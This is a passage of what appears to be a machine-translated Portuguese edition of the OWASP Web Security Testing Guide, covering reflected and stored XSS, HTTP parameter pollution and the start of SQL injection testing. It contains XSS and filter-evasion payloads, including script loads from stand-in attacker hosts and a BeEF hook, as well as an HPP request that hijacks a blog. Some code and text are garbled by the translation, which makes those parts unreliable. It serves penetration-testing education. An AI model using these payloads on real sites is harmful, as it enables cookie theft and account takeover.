http://example.com/index.php?user=<script>alert(123)</script>
Se nenhuma higienização for aplicada, isso resultará no seguinte pop-up:

219
Isso indica que há uma vulnerabilidade XSS e parece que o testador pode executar o código de sua escolha no navegador de qualquer pessoa se
clicar no link do testador.
Exemplo 2
Vamos tentar outro trecho de código (link):
http://example.com/index.php?user=<script>window.onload = function() {var

AllLinks=document.getElementsByTagName("a");AllLinks[0].href = "http://badexample .com/
malicious.exe";}</script>
Isso produz o seguinte comportamento:
Isso fará com que o usuário, clicando no link fornecido pelo testador, baixe o arquivo malicioso.exe de um site que ele
ao controle.
Ignore os filtros XSS Os
ataques refletidos de script entre sites são evitados quando o aplicativo da Web limpa a entrada, um firewall do aplicativo da Web bloqueia a entrada
maliciosa ou por mecanismos incorporados aos navegadores da Web modernos. O testador deve testar as vulnerabilidades assumindo que os
navegadores da web não impedirão o ataque. Os navegadores podem estar desatualizados ou ter recursos de segurança integrados
220
Desativado. Da mesma forma, não é garantido que os firewalls de aplicativos da Web reconheçam ataques novos e desconhecidos. Um invasor pode
criar uma string de ataque não reconhecida pelo firewall do aplicativo da web.
Portanto, a maior parte da prevenção de XSS deve depender da sanitização do aplicativo da Web de entrada de usuário não confiável. Existem
vários mecanismos disponíveis para desenvolvedores para sanitização, como retornar um erro, remover, codificar ou substituir entrada inválida. O
meio pelo qual o aplicativo detecta e corrige a entrada inválida é outra fraqueza principal na prevenção do XSS. Uma lista de negações pode não
incluir todas as strings de ataque possíveis, uma lista de permissões pode ser excessivamente permissiva, a sanitização pode falhar ou um tipo de
entrada pode ser incorretamente confiável e permanecer não sanitizado. Tudo isso permite que os invasores contornem os filtros XSS.
Folha de dicas de evasão do filtro XSS documenta testes de evasão de filtros comuns.
Exemplo 3: Valor do atributo do tag
Como esses filtros são baseados em uma lista de negações, eles não podem bloquear todos os tipos de expressões. De fato, há casos em que uma
exploração XSS pode ser realizada sem o uso de tags <script> e até mesmo sem o uso de caracteres como < e > que são comumente filtrados.
Por exemplo, o aplicativo da Web pode usar o valor de entrada do usuário para preencher um atributo, conforme mostrado no código a seguir:
<input type="text" name="state" value="INPUT_FROM_USER">
Em seguida, um invasor pode enviar o seguinte código:
" onfocus="alert(document.cookie)
Exemplo 4: Sintaxe ou Codificação Diferente
Em alguns casos, é possível que os filtros baseados em assinatura possam ser simplesmente derrotados ofuscando o ataque. Normalmente, você
pode fazer isso por meio da inserção de variações inesperadas na sintaxe ou na codificação. Essas variações são toleradas pelos navegadores
como HTML válido quando o código é retornado e, no entanto, também podem ser aceitas pelo filtro.
Segue alguns exemplos:
"><script >alerta(documento.cookie)</script >
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e
Exemplo 5: ignorando a filtragem não recursiva
Às vezes, a sanitização é aplicada apenas uma vez e não está sendo realizada recursivamente. Nesse caso, o invasor pode vencer o filtro enviando
uma string contendo várias tentativas, como esta:
<scr<script>ipt>alert(document.cookie)</script>
Exemplo 6: Incluindo Script Externo
Agora suponha que os desenvolvedores do site de destino tenham implementado o seguinte código para proteger a entrada da inclusão de script
externo:
<?
$re = "/<script[^>]+src/i";
if (preg_match($re, $_GET['var'])) {
221
echo "Filtrado";
Retorna;
} echo "Bem-vindo ".$_GET['var']." !";

?>
Desacoplando a expressão regular acima:
1. Verifique se há um <script
2. Verifique se há “ “ (espaço em branco)
3. Qualquer caractere, exceto o caractere > para uma ou mais ocorrências

4. Verifique se há um src
Isso é útil para filtrar expressões como <script src="http://attacker/xss.js"></script>, que é um ataque comum. Mas, neste caso, é possível
contornar a sanitização usando o caractere > em um atributo entre script e src, assim:
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
Isso explorará a vulnerabilidade refletida de cross site scripting mostrada anteriormente, executando o código JavaScript armazenado no
servidor da Web do invasor como se fosse originário do site da vítima, http://example/ .
Exemplo 7: poluição do parâmetro HTTP (HPP)
Outro método para ignorar filtros é a Poluição de Parâmetros HTTP, esta técnica foi apresentada pela primeira vez por Stefano di Paola e
Luca Carettoni em 2009 na conferência OWASP Polônia. Consulte Testando a poluição do parâmetro HTTP para obter mais informações.
Essa técnica de evasão consiste em dividir um vetor de ataque entre vários parâmetros que possuem o mesmo nome. A manipulação do valor
de cada parâmetro depende de como cada tecnologia web está analisando esses parâmetros, portanto nem sempre esse tipo de evasão é
possível. Se o ambiente testado concatenar os valores de todos os parâmetros com o mesmo nome, um invasor poderá usar essa técnica para
contornar os mecanismos de segurança baseados em padrões. Ataque normal:
http://example/page.php?param=<script>[...]</script>
Ataque usando HPP:
http://example/page.php?param=<script&param=>[...]</&param=script>
Consulte a folha de dicas de evasão do filtro XSS para uma lista mais detalhada de técnicas de evasão de filtro. Finalmente, analisar as
respostas pode ser complexo. Uma maneira simples de fazer isso é usar um código que abre uma caixa de diálogo, como em nosso exemplo.
Isso geralmente indica que um invasor pode executar JavaScript arbitrário de sua escolha nos navegadores dos visitantes.
Teste de caixa cinza O
teste de caixa cinza é semelhante ao teste de caixa preta. No teste de caixa cinza, o pen-tester tem conhecimento parcial do aplicativo. Nesse
caso, as informações sobre entrada do usuário, controles de validação de entrada e como a entrada do usuário é processada de volta para o
usuário podem ser conhecidas pelo pen-tester.
Se o código-fonte estiver disponível (teste de caixa branca), todas as variáveis recebidas dos usuários devem ser analisadas. Além disso, o
testador deve analisar quaisquer procedimentos de sanitização implementados para decidir se eles podem ser contornados.
Ferramentas
Machine
222
Codificador PHP Charset (PCE) ajuda a codificar textos arbitrários de e para 65 tipos de conjuntos de caracteres que você pode usar em
suas cargas personalizadas.
hackvertor é uma ferramenta online que permite muitos tipos de codificação e ofuscação de JavaScript (ou qualquer entrada de string).
XSS-Proxy é uma ferramenta avançada de ataque Cross-Site-Scripting (XSS).
ratproxy é uma ferramenta de auditoria de segurança de aplicativos da Web semiautomática e amplamente passiva, otimizada para uma
detecção precisa e sensível e anotação automática de possíveis problemas e padrões de design relevantes para a segurança com base na
observação do tráfego existente iniciado pelo usuário na complexa Web 2.0 ambientes.
Burp Proxy é um servidor proxy HTTP/S interativo para atacar e testar aplicativos da web.
Proxy de Ataque Zed OWASP (ZAP) é um servidor proxy HTTP/S interativo para atacar e testar aplicativos da web com um scanner integrado.
Referências
Recursos OWASP
Folha de dicas de evasão do filtro XSS
livros
Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web Applications”, Segunda Edição, McGraw-Hill,
2006 - ISBN 0-07-226229-0
Dafydd Stuttard, Marcus Pinto - “O Manual do Aplicativo Web - Descobrindo e Explorando Falhas de Segurança”,
2008, Wiley, ISBN 978-0-470-17077-9
Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits
and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3
Artigos técnicos
CERT - Marcas HTML maliciosas incorporadas em solicitações da Web do cliente
cgisecurity.com - Perguntas frequentes sobre scripts entre
sites G.Ollmann - Injeção de código HTML e scripts entre sites S. Frei,
T. Dübendorfer, G. Ollmann, M. May - Compreendendo a ameaça do navegador da Web

223
Testando para Scripts entre Sites Armazenados
EU IRIA
WSTG-INPV-02
Resumo
Scripts entre sites armazenados (XSS) é o tipo mais perigoso de Cross Site Scripting. Os aplicativos da Web que permitem aos usuários armazenar dados estão
potencialmente expostos a esse tipo de ataque. Este capítulo ilustra exemplos de injeção de script entre sites armazenados e cenários de exploração relacionados.
O XSS armazenado ocorre quando um aplicativo da Web coleta entrada de um usuário que pode ser mal-intencionado e, em seguida, armazena essa entrada em um
armazenamento de dados para uso posterior. A entrada armazenada não é filtrada corretamente. Como consequência, os dados maliciosos parecerão fazer parte do
site e serão executados no navegador do usuário sob os privilégios do aplicativo da web.
Como essa vulnerabilidade geralmente envolve pelo menos duas solicitações ao aplicativo, isso também pode ser chamado de XSS de segunda ordem.
Esta vulnerabilidade pode ser usada para realizar uma série de ataques baseados em navegador, incluindo:
Sequestro do navegador de outro usuário
Capturando informações confidenciais visualizadas pelos usuários do aplicativo
Pseudo desfiguração do aplicativo
Varredura de portas de hosts internos (“internos” em relação aos usuários do aplicativo da web)
Entrega direcionada de explorações baseadas em navegador
Outras atividades maliciosas
O XSS armazenado não precisa de um link malicioso para ser explorado. Uma exploração bem-sucedida ocorre quando um usuário visita uma página com um XSS
armazenado. As fases a seguir referem-se a um cenário típico de ataque XSS armazenado:
O invasor armazena código malicioso na página vulnerável
O usuário autentica no aplicativo
O usuário visita a página vulnerável
O código malicioso é executado pelo navegador do usuário
Esse tipo de ataque também pode ser explorado com estruturas de exploração de navegador, como o BeEF e Proxy XSS. Essas estruturas permitem o desenvolvimento
complexo de explorações de JavaScript.
O XSS armazenado é particularmente perigoso em áreas de aplicativos às quais usuários com altos privilégios têm acesso. Quando o administrador visita a página
vulnerável, o ataque é executado automaticamente pelo navegador. Isso pode expor informações confidenciais, como tokens de autorização de sessão.
Objetivos do teste
Identifique a entrada armazenada que é refletida no lado do cliente.
Avalie a entrada que eles aceitam e a codificação que é aplicada no retorno (se houver).
Como testar
O processo para identificar vulnerabilidades XSS armazenadas é semelhante ao processo descrito durante o teste para XSS refletido.
224
Formulários de entrada
A primeira etapa é identificar todos os pontos em que a entrada do usuário é armazenada no back-end e exibida pelo aplicativo.
Exemplos típicos de entradas armazenadas do usuário podem ser encontrados em:
Página de usuário/perfis: o aplicativo permite ao usuário editar/alterar detalhes do perfil, como nome, sobrenome, apelido, avatar, foto, endereço, etc.
Carrinho de compras: o aplicativo permite que o usuário armazene itens no carrinho de compras que podem ser revistos posteriormente
Gerenciador de arquivos: aplicativo que permite o upload de arquivos
Configurações/preferências do aplicativo: aplicativo que permite ao usuário definir preferências
Forum/Message board: aplicativo que permite troca de postagens entre usuários
Blog: se o aplicativo de blog permitir que os usuários enviem comentários
Log: se o aplicativo armazena algumas entradas de usuários em logs.
Analisar Código HTML
A entrada armazenada pelo aplicativo é normalmente usada em tags HTML, mas também pode ser encontrada como parte do conteúdo JavaScript. Nessa etapa, é
fundamental entender se o input está armazenado e como ele está posicionado no contexto da página. Diferentemente do XSS refletido, o pen-tester também deve investigar
quaisquer canais fora de banda através dos quais o aplicativo recebe e armazena as entradas dos usuários.
Nota: Todas as áreas do aplicativo acessíveis pelos administradores devem ser testadas para identificar a presença de quaisquer dados enviados pelos usuários.
Exemplo: dados armazenados por e-mail em index2.php
Figura 4.7.2-1: Exemplo de entrada armazenada
O código HTML de index2.php onde o valor do email está localizado:
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />
Nesse caso, o testador precisa encontrar uma maneira de injetar código fora da tag <input> conforme abaixo:
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> CÓDIGO MALICIOSO <!-- />
Testando para XSS armazenado
Isso envolve testar a validação de entrada e os controles de filtragem do aplicativo. Exemplos básicos de injeção neste caso:
225
aaa@aa.com"><script>alert(document.cookie)</script>
aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
Assegure-se de que a entrada seja enviada por meio do aplicativo. Isso normalmente envolve desabilitar o JavaScript se os controles de segurança
do lado do cliente forem implementados ou modificar a solicitação HTTP com um proxy da web. Também é importante testar a mesma injeção com
solicitações HTTP GET e POST. A injeção acima resulta em uma janela pop-up contendo os valores do cookie.
Figura 4.7.2-2: Exemplo de entrada armazenada
O código HTML após a injeção:
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com">

<script>alert(document.cookie)</script>
A entrada é armazenada e a carga XSS é executada pelo navegador ao recarregar a página. Se a entrada for ignorada pelo aplicativo, os
testadores devem testar o aplicativo para filtros XSS. Por exemplo, se a string “SCRIPT” for substituída por um espaço ou por um caractere
NULL, isso pode ser um sinal potencial de filtragem XSS em ação. Existem muitas técnicas para evitar os filtros de entrada (consulte o capítulo
Teste de XSS refletido ). É altamente recomendável que os testadores consultem XSS Filter Evasion e Mário Páginas XSS Cheat, que fornecem
uma extensa lista de ataques XSS e desvios de filtragem. Consulte a seção de whitepapers e ferramentas para obter informações mais
detalhadas.
Aproveite o XSS armazenado com BeEF
O XSS armazenado pode ser explorado por estruturas avançadas de exploração de JavaScript, como BeEF e Proxy XSS.
Um cenário típico de exploração de BeEF envolve:
Injetando um gancho JavaScript que se comunica com a estrutura de exploração do navegador do invasor (BeEF)
Esperando que o usuário do aplicativo visualize a página vulnerável onde a entrada armazenada é exibida
Controle o navegador do usuário do aplicativo através do console BeEF
O gancho JavaScript pode ser injetado explorando a vulnerabilidade XSS no aplicativo da web.
Exemplo: BeEF Injection em index2.php :
aaa@aa.com"><script src=http://attackersite/hook.js></script>
Quando o usuário carrega a página index2.php , o script hook.js é executado pelo navegador. É possível acessar cookies, captura de tela do usuário,
área de transferência do usuário e iniciar ataques XSS complexos.
226
Figura 4.7.2-3: Exemplo de Injeção de Carne
Esse ataque é particularmente eficaz em páginas vulneráveis que são visualizadas por muitos usuários com diferentes privilégios.
Carregar arquivo
Caso a aplicação web permita upload de arquivo, é importante verificar se é possível fazer upload de conteúdo HTML. Por exemplo, se arquivos HTML ou TXT forem permitidos,
a carga XSS pode ser injetada no arquivo carregado. O pen-tester também deve verificar se o upload do arquivo permite definir tipos MIME arbitrários.
Considere a seguinte solicitação HTTP POST para upload de arquivo:
POST /fileupload.aspx HTTP/1.1 […]
Content-Disposition: form-data; nome="uploadarquivo1"; filename="C:\Documents and

Settings\test\Desktop\test.txt"
Tipo de conteúdo: texto/simples
teste
Essa falha de design pode ser explorada em ataques de manipulação incorreta de MIME do navegador. Por exemplo, arquivos de aparência inócua, como JPG e GIF, podem
conter uma carga XSS que é executada quando são carregados pelo navegador. Isso é possível quando o tipo MIME para uma imagem como image/gif pode ser definido como
text/html . Nesse caso, o arquivo será tratado pelo navegador do cliente como HTML.
Solicitação HTTP POST forjada:
Content-Disposition: form-data; nome="uploadarquivo1"; filename="C:\Documents and

Settings\test\Desktop\test.gif"
Machine
227
<script>alerta(document.cookie)</script>
Considere também que o Internet Explorer não lida com tipos MIME da mesma forma que o Mozilla Firefox ou outros navegadores. Por exemplo, o Internet Explorer
lida com arquivos TXT com conteúdo HTML como conteúdo HTML. Para obter mais informações sobre a manipulação de MIME, consulte a seção de whitepapers
na parte inferior deste capítulo.

O teste de caixa cinza é semelhante ao teste de caixa preta. No teste de caixa cinza, o pen-tester tem conhecimento parcial do aplicativo. Nesse caso, informações
sobre entrada do usuário, controles de validação de entrada e armazenamento de dados podem ser conhecidas pelo pen-tester.
Dependendo das informações disponíveis, normalmente é recomendável que os testadores verifiquem como a entrada do usuário é processada pelo aplicativo e,
em seguida, armazenada no sistema back-end. As seguintes etapas são recomendadas:
Use o aplicativo front-end e insira a entrada com caracteres especiais/inválidos
Analisar a(s) resposta(s) do aplicativo
Identificar a presença de controles de validação de entrada
Acesse o sistema de back-end e verifique se a entrada está armazenada e como está armazenada
Analise o código-fonte e entenda como a entrada armazenada é renderizada pelo aplicativo
Se o código-fonte estiver disponível (como no teste de caixa branca), todas as variáveis usadas nos formulários de entrada devem ser analisadas. Em particular,
linguagens de programação como PHP, ASP e JSP usam variáveis/funções predefinidas para armazenar entrada de solicitações HTTP GET e POST.
A tabela a seguir resume algumas variáveis e funções especiais a serem observadas ao analisar o código-fonte:
PHP ASP JSP
Request.QueryString - HTTP doGet servlets doPost - HTTP GET e

$_GET - variáveis HTTP GET ,
OBTER PUBLICAR
request.getParameter - HTTP
$_POST - Variáveis HTTP POST Pedido.Form - HTTP POST
Variáveis GET/POST
$_REQUEST – HTTP POST, GET e Server.CreateObject - usado para fazer

Variáveis COOKIE upload de arquivos
$_FILES - Variáveis de upload de arquivo HTTP
Nota: A tabela acima é apenas um resumo dos parâmetros mais importantes, mas todos os parâmetros de entrada do usuário devem ser investigados.
Ferramentas
Codificador PHP Charset (PCE) ajuda a codificar textos arbitrários de e para 65 tipos de conjuntos de caracteres que você pode usar em
suas cargas personalizadas.
hackvertor é uma ferramenta online que permite muitos tipos de codificação e ofuscação de JavaScript (ou qualquer entrada de string).
Carne é a estrutura de exploração do navegador. Uma ferramenta profissional para demonstrar o impacto em tempo real do navegador
vulnerabilidades.
XSS-Proxy é uma ferramenta avançada de ataque Cross-Site-Scripting (XSS).
Burp Proxy é um servidor proxy HTTP/S interativo para atacar e testar aplicativos da web.
Assistente XSS Script Greasemonkey que permite aos usuários testar facilmente qualquer aplicativo da Web quanto a falhas de script entre sites.
228
Proxy de Ataque Zed OWASP (ZAP) é um servidor proxy HTTP/S interativo para atacar e testar aplicativos da web
com um scanner embutido.
Referências
Recursos OWASP
Folha de dicas de evasão do filtro XSS
livros
Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web Applications”, Segunda Edição, McGraw-Hill,
2006 - ISBN 0-07-226229-0
Dafydd Stuttard, Marcus Pinto - “O Manual do Aplicativo Web - Descobrindo e Explorando Falhas de Segurança”,
2008, Wiley, ISBN 978-0-470-17077-9
Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS
Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3
Artigos técnicos
CERT: “CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests”
Amit Klein: “Explicação de scripts entre sites”
Gunter Ollmann: “Injeção de Código HTML e Cross-site Scripting”
CGISecurity.com: “Perguntas frequentes sobre scripts entre sites”

229
Teste de adulteração de verbo HTTP
EU IRIA
WSTG-INPV-03
Este conteúdo foi mesclado em: Testar métodos HTTP

230
Testando a Poluição do Parâmetro HTTP
EU IRIA
WSTG-INPV-04
Resumo
A Poluição de Parâmetros HTTP testa a resposta dos aplicativos ao recebimento de vários parâmetros HTTP com o mesmo nome; por
exemplo, se o nome de usuário do parâmetro for incluído nos parâmetros GET ou POST duas vezes.
Fornecer vários parâmetros HTTP com o mesmo nome pode fazer com que um aplicativo interprete valores de maneiras imprevistas. Ao
explorar esses efeitos, um invasor pode contornar a validação de entrada, acionar erros de aplicativo ou modificar valores de variáveis
internas. Como a poluição do parâmetro HTTP (abreviado HPP) afeta um bloco de construção de todas as tecnologias da Web, existem
ataques do lado do servidor e do cliente.
Os padrões HTTP atuais não incluem orientação sobre como interpretar vários parâmetros de entrada com o mesmo nome.
Por exemplo, RFC 3986 simplesmente define o termo Query String como uma série de pares campo-valor e RFC 2396 define classes de
caracteres de string de consulta invertidos e não reservados. Sem um padrão estabelecido, os componentes de aplicativos da Web lidam
com esse caso extremo de várias maneiras (consulte a tabela abaixo para obter detalhes).
Por si só, isso não é necessariamente uma indicação de vulnerabilidade. No entanto, se o desenvolvedor não estiver ciente do problema,
a presença de parâmetros duplicados pode produzir um comportamento anômalo no aplicativo que pode ser potencialmente explorado por
um invasor. Como costuma ocorrer em segurança, comportamentos inesperados são uma fonte comum de pontos fracos que podem levar
a ataques de Poluição de Parâmetros HTTP nesse caso. Para melhor apresentar esta classe de vulnerabilidades e o resultado de
ataques HPP, é interessante analisar alguns exemplos da vida real que foram descobertos no passado.
Validação de Entrada e Bypass de Filtros Em
2009, logo após a publicação da primeira pesquisa sobre Poluição de Parâmetros HTTP, a técnica recebeu atenção da comunidade de
segurança como uma possível forma de burlar firewalls de aplicações web.
Uma dessas falhas, afetando as Regras do Núcleo de Injeção SQL do ModSecurity, representa um exemplo perfeito da incompatibilidade
de impedância entre aplicativos e filtros. O filtro ModSecurity aplicaria corretamente uma lista de negações para o seguinte, impedindo
, assim
table /index.aspx?page=select 1,2,3 from table . No que
entanto,
este ao
exemplo
explorar
de aURL
concatenação
fosse processado
de vários
pelo
parâmetros
servidor web:
HTTP,
string:
um invasor
select 1,2,3
podefrom
fazer com que o servidor de aplicativos concatene a string depois que o filtro ModSecurity já aceitou a entrada. Por exemplo, a URL /
index.aspx?page=select 1&page=2,3 da tabela não acionaria o filtro ModSecurity, mas a camada do aplicativo concatenaria a entrada de
volta na string maliciosa completa.
Outra vulnerabilidade do HPP acabou afetando o Apple Cups, o conhecido sistema de impressão usado por muitos sistemas UNIX.
Explorando o HPP, um invasor pode facilmente acionar uma vulnerabilidade Cross-Site Scripting usando o seguinte URL: http://127.0.0.1:631/
admin/?kerberos=onmouseover=alert(1)&kerberos . O ponto de verificação de validação do aplicativo pode ser ignorado adicionando um
argumento Kerberos extra com uma string válida (por exemplo, string vazia). Como o checkpoint de validação consideraria apenas a
segunda ocorrência, o primeiro parâmetro Kerberos não foi devidamente higienizado antes de ser utilizado para gerar conteúdo HTML
dinâmico. A exploração bem-sucedida resultaria na execução do código JavaScript no contexto do site de hospedagem.
Ignorar Autenticação
Uma vulnerabilidade HPP ainda mais crítica foi descoberta no Blogger, a popular plataforma de blogs. O bug permitia que usuários mal-
intencionados se apropriassem do blog da vítima usando a seguinte solicitação HTTP ( https://www.blogger.com/add-authors.do ):
Machine
231
POST /add-autores.do HTTP/1.1

[...]
security_token=attackertoken&blogID=attackerblogidvalue&blogID=victimblogidvalue&authorsList=goldshl ager19test%40gmail.com(e-
mail do invasor)&ok=Convidar
A falha residia no mecanismo de autenticação usado pelo aplicativo da web, pois a verificação de segurança foi realizada no primeiro parâmetro
blogID , enquanto a operação real usou a segunda ocorrência.
Comportamento esperado pelo servidor de aplicativos

A tabela a seguir ilustra como diferentes tecnologias da Web se comportam na presença de várias ocorrências do mesmo parâmetro HTTP.
Dado o URL e querystring: http://example.com/?color=red&color=blue
Back-end do servidor de aplicativos da Web Resultado da Análise Exemplo
ASP.NET/IIS Todas as ocorrências concatenadas com uma vírgula cor = vermelho, azul
ASP/IIS Todas as ocorrências concatenadas com uma vírgula cor = vermelho, azul
PHP/Apache Apenas última ocorrência cor=azul
PHP/Zeus Apenas última ocorrência cor=azul
JSP, Servlet/Apache Tomcat Apenas a primeira ocorrência cor=vermelho
JSP, Servlet / Oracle Application Server 10g Apenas a primeira ocorrência cor=vermelho
JSP, Servlet / Jetty Apenas a primeira ocorrência cor=vermelho
IBM Lotus Dominó Apenas última ocorrência cor=azul
Servidor HTTP IBM Apenas a primeira ocorrência cor=vermelho
mod_perl, libapreq2 / Apache Apenas a primeira ocorrência cor=vermelho
Perl CGI / Apache Apenas a primeira ocorrência cor=vermelho
mod_wsgi (Python) / Apache Apenas a primeira ocorrência cor=vermelho
Python / Zope Todas as ocorrências no tipo de dados List cor=['vermelho','azul']
(fonte: Appsec EU 2009 Carettoni & Paola)
Objetivos do teste
Identifique o back-end e o método de análise usado.
Avalie os pontos de injeção e tente ignorar os filtros de entrada usando HPP.
Como testar
Felizmente, como a atribuição de parâmetros HTTP geralmente é feita por meio do servidor de aplicativos da web, e não do próprio código do
aplicativo, testar a resposta à poluição de parâmetros deve ser padrão em todas as páginas e ações.
No entanto, como é necessário um conhecimento aprofundado da lógica de negócios, testar o HPP requer testes manuais. As ferramentas
automáticas podem ajudar apenas parcialmente os auditores, pois tendem a gerar muitos falsos positivos. Além disso, o HPP pode se manifestar
em componentes do lado do cliente e do lado do servidor.
HPP do lado do servidor

232
Para testar as vulnerabilidades do HPP, identifique qualquer formulário ou ação que permita entrada fornecida pelo usuário. Parâmetros de
string de consulta em solicitações HTTP GET são fáceis de ajustar na barra de navegação do navegador. Se a ação do formulário enviar
dados via POST, o testador precisará usar um proxy de interceptação para adulterar os dados POST à medida que são enviados ao servidor.
Tendo identificado um parâmetro de entrada específico para testar, pode-se editar os dados GET ou POST interceptando a solicitação ou
alterando a string de consulta após o carregamento da página de resposta. Para testar vulnerabilidades de HPP, basta anexar o mesmo
parâmetro aos dados GET ou POST, mas com um valor diferente atribuído.
Por exemplo: se estiver testando o parâmetro search_string na string de consulta, a URL da solicitação incluirá o nome e o valor desse
parâmetro:
http://example.com/?search_string=kittens
O parâmetro específico pode estar oculto entre vários outros parâmetros, mas a abordagem é a mesma; deixe os outros parâmetros no lugar
e anexe a duplicata:
http://example.com/?mode=guest&search_string=kittens&num_results=100
Anexe o mesmo parâmetro com um valor diferente:
http://example.com/?mode=guest&search_string=kittens&num_results=100&search_string=puppies
e envie a nova solicitação.
Analise a página de resposta para determinar quais valores foram analisados. No exemplo acima, os resultados da pesquisa podem mostrar
gatinhos com alguma combinação de ambos ( gatinhos,cachorros
dar um resultado vazio ou ou
umagatinhos~cachorros
página de erro. ou , cachorrinhos , ['gatinhos','cachorros'] ), podem
Esse comportamento, seja usando o primeiro, o último ou uma combinação de parâmetros de entrada com o mesmo nome, provavelmente
será consistente em todo o aplicativo. Se esse comportamento padrão revela ou não uma vulnerabilidade em potencial, depende da validação
de entrada específica e da filtragem específica de um aplicativo específico. Como regra geral: se a validação de entrada existente e outros
mecanismos de segurança forem suficientes em entradas únicas e se o servidor atribuir apenas o primeiro ou o último parâmetro poluído, a
poluição de parâmetro não revelará uma vulnerabilidade. Se os parâmetros duplicados forem concatenados, diferentes componentes de
aplicativos da Web usarem ocorrências diferentes ou o teste gerar um erro, haverá uma probabilidade maior de poder usar a poluição de
parâmetros para acionar vulnerabilidades de segurança.
Uma análise mais aprofundada exigiria três solicitações HTTP para cada parâmetro HTTP:
1. Envie uma solicitação HTTP contendo o nome e o valor do parâmetro padrão e registre a resposta HTTP. Por exemplo
página?par1=val1
2. Substitua o valor do parâmetro por um valor adulterado, envie e registre a resposta HTTP. Por exemplo , página?
par1=HPP_TEST1
3. Envie uma nova solicitação combinando as etapas (1) e (2). Novamente, salve a resposta HTTP. Por exemplo , página?
par1=val1&par1=HPP_TEST1
4. Compare as respostas obtidas em todas as etapas anteriores. Se a resposta de (3) for diferente de (1) e a resposta de (3) também for
diferente de (2), há uma incompatibilidade de impedância que pode ser eventualmente abusada para acionar vulnerabilidades HPP.
Elaborar uma exploração completa de uma fraqueza de poluição de parâmetro está além do escopo deste texto. Veja as referências para
exemplos e detalhes.
HPP do lado do cliente

233
Da mesma forma que o HPP do lado do servidor, o teste manual é a única técnica confiável para auditar aplicativos da Web a fim de detectar vulnerabilidades
de poluição de parâmetros que afetam os componentes do lado do cliente. Enquanto na variante do lado do servidor o invasor aproveita um aplicativo da
Web vulnerável para acessar dados protegidos ou executar ações que não são permitidas ou não deveriam ser executadas, os ataques do lado do cliente
visam subverter componentes e tecnologias do lado do cliente.
Para testar as vulnerabilidades do lado do cliente HPP, identifique qualquer formulário ou ação que permita a entrada do usuário e mostre o resultado dessa
entrada de volta para o usuário. Uma página de pesquisa é ideal, mas uma caixa de login pode não funcionar (pois pode não mostrar um nome de usuário
inválido para o usuário).
Da mesma forma que o HPP do lado do servidor, polua cada parâmetro HTTP com %26HPP_TEST e procure ocorrências decodificadas por url da carga
útil fornecida pelo usuário:
&HPP_TEST
&HPP_TEST
etc.
Em particular, preste atenção às respostas com vetores HPP nos dados . Novamente, se esse , origem , Atributos href ou ações de formulários.
comportamento padrão revela ou não uma vulnerabilidade potencial depende da validação de entrada específica, filtragem e lógica de negócios do aplicativo.
Além disso, é importante observar que essa vulnerabilidade também pode afetar os parâmetros da string de consulta usados em XMLHttpRequest (XHR),
criação de atributos de tempo de execução e outras tecnologias de plug-in (por exemplo, variáveis flashvars do Adobe Flash).
Ferramentas
Scanners passivos/ativos OWASP ZAP
Referências
Artigos técnicos
Poluição de Parâmetros HTTP - Luca Carettoni, Stefano di Paola
Exemplo de poluição de parâmetro HTTP do lado do cliente (falha do Yahoo! Classic Mail) - Stefano di Paola
Como detectar ataques de poluição de parâmetro HTTP - Chrysostomos Daniel
CAPEC-460: Poluição de Parâmetros HTTP (HPP) - Evgeny Lebanidze
Descoberta automatizada de vulnerabilidades de poluição de parâmetros em aplicativos da Web - Marco Balduzzi, Carmen
Torrano Gimenez, Davide Balzarotti, Engin Kirda
234
Testando para SQL Injection
EU IRIA
WSTG-INPV-05
Resumo
O teste de injeção SQL verifica se é possível injetar dados no aplicativo para que ele execute uma consulta SQL controlada pelo usuário no
banco de dados. Os testadores encontram uma vulnerabilidade de injeção SQL se o aplicativo usar a entrada do usuário para criar consultas
SQL sem validação de entrada adequada. Uma exploração bem-sucedida dessa classe de vulnerabilidade permite que um usuário não
autorizado acesse ou manipule dados no banco de dados.
Uma injeção de SQL O ataque consiste na inserção ou “injeção” de uma consulta SQL parcial ou completa por meio da entrada de dados ou
transmitida do cliente (navegador) para o aplicativo da web. Um ataque de injeção de SQL bem-sucedido pode ler dados confidenciais do
banco de dados, modificar dados do banco de dados (inserir/atualizar/excluir), executar operações de administração no banco de dados (como
desligar o DBMS), recuperar o conteúdo de um determinado arquivo existente no arquivo DBMS sistema ou gravar arquivos no sistema de
arquivos e, em alguns casos, emitir comandos para o sistema operacional. Ataques de injeção SQL são um tipo de ataque de injeção, no qual
comandos SQL são injetados na entrada do plano de dados para afetar a execução de comandos SQL predefinidos.
Em geral, a maneira como os aplicativos da Web constroem instruções SQL envolvendo a sintaxe SQL escrita pelos programadores é
misturada com dados fornecidos pelo usuário. Exemplo:
selecione título, texto da notícia onde id=$id
No exemplo acima, a variável $id contém dados fornecidos pelo usuário, enquanto o restante é a parte estática SQL fornecida pelo
programador; tornando a instrução SQL dinâmica.
Devido à forma como foi construído, o usuário pode fornecer entradas criadas tentando fazer com que a instrução SQL original execute outras
ações à escolha do usuário. O exemplo abaixo ilustra os dados fornecidos pelo usuário “10 ou 1=1”, alterando a lógica da instrução SQL,
modificando a cláusula WHERE adicionando uma condição “ou 1=1”.
selecione título, texto da notícia onde id=10 ou 1=1
Os ataques SQL Injection podem ser divididos nas três classes a seguir:
Inband: os dados são extraídos usando o mesmo canal usado para injetar o código SQL. Este é o tipo de ataque mais direto, no qual os
dados recuperados são apresentados diretamente na página web do aplicativo.
Out-of-band: os dados são recuperados usando um canal diferente (por exemplo, um e-mail com o resultado da consulta é gerado e
enviado ao testador).
